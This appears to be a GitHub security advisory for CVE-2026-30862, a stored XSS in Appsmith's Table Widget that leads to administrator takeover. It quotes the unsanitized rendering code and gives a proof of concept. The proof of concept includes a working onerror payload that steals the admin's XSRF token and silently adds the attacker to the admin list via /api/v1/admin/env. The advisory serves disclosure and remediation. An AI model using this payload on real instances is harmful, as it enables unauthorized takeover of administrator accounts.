Skip to content

Critical Stored XSS & Privilege Escalation in Appsmith v1.95

Critical
subrata71 published GHSA-5hw4-whxv-6794 Mar 9, 2026

Package

appsmith/appsmith

Affected versions

<= 1.95

Patched versions

1.96

Description

Summary

A Critical Stored XSS vulnerability exists in the Table Widget (TableWidgetV2). The root cause is a lack of HTML sanitization in the React component rendering pipeline, allowing malicious attributes to be interpolated into the DOM. By leveraging the "Invite Users" feature, an attacker with a regular user account (user@gmail.com) can force a System Administrator to execute a high-privileged API call (/api/v1/admin/env), resulting in a Full Administrative Account Takeover.


Details

1. Root Cause: Lack of Output Sanitization Sink The vulnerability resides in the Table Widget's rendering engine

  • File: app/client/src/widgets/TableWidgetV2/component/cellComponents/BasicCell.tsx

  • The BasicCell component fails to sanitize data when the columnType is set to URL or Plain Text. It returns raw user-supplied values that are directly rendered as React children, which the browser interprets as executable HTML.

Vulnerable Code Snippet (Lines 132-143 & 172-173):

const contentToRender = useMemo(() => {
  switch (columnType) {
    case ColumnTypes.URL:
      // Direct interpolation of 'url' into href without sanitization
      return <a href={url} target="_blank">{value}</a>;
    default:
      return value; // Line 141: Raw value returned
  }
}, [columnType, url, value]);

// Line 173: Final sink where unsanitized content is injected into the DOM
<Content ref={contentRef}>{contentToRender}</Content>

2. Attack Vector: XSS-to-CSRF via Social Engineering (Invite Feature) Although the SESSION cookie is protected by HttpOnly, the XSRF-TOKEN is accessible via document.cookie. Since Appsmith allows any user to "Invite" others to their app, an attacker can use this as a delivery mechanism to execute a Cross-Privilege Request Forgery (CPRF) within the Admin's active session.


PoC (Proof of Concept)

Step 1: XSS Vulnerability Verification

  1. Log in with a regular user account: user@gmail.com.

  2. Create a new application and add a Table Widget.

  3. In the Table Data property, inject the following:

[{ "id": 1, "payload": "<img src=x onerror=\"alert('XSS_Confirmed_at_'+document.domain)\">" }]
  1. Observe the alert() execution, confirming the sanitization bypass.

--
Step 2: Weaponization (Full Admin Takeover)

  1. As user@gmail.com, update the Table Data with the following payload designed to modify the administrative environment:
[
  {
    "id": 1,
    "Status": "System Update Required",
    "payload": "<img src=x onerror=\"const t=document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1];fetch('/api/v1/admin/env',{method:'PUT',headers:{'content-type':'application/json','x-xsrf-token':t},body:JSON.stringify({'APPSMITH_ADMIN_EMAILS':'admin@gmail.com,user@gmail.com'})}).then(()=>alert('Admin Privileges Granted to user@gmail.com'));\">"
  }
]
  1. Use the "Share" feature to invite the System Administrator (admin@gmail.com) to the app. This forces the Admin to view the malicious table upon opening the invitation.

  2. Once the Admin launches the app, the script executes in the background. It reads the Admin's XSRF-TOKEN and sends a PUT request to add user@gmail.com to the administrative whitelist.

  3. Result: Log in again as user@gmail.com. You will now have full access to the Admin Settings and all instance configurations.


Impact

  • Vulnerability Type: Stored XSS / Vertical Privilege Escalation.

  • Severity: 9.1 (Critical) | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

  • Risk: Complete compromise of the Appsmith instance. Attackers gain access to sensitive environment variables, database credentials, and the ability to modify any application within the instance.


Recommended Remediation

  1. Sanitize Sinks: Wrap all dynamic outputs in BasicCell.tsx and related components with DOMPurify.sanitize().

  2. Hardened CSP: Implement a strict connect-src policy to prevent unauthorized API calls to administrative endpoints from XSS payloads.


exploit_drkim.mp4

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2026-30862

Weaknesses

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. Learn more on MITRE.

Improper Privilege Management

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. Learn more on MITRE.

Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. Learn more on MITRE.

Credits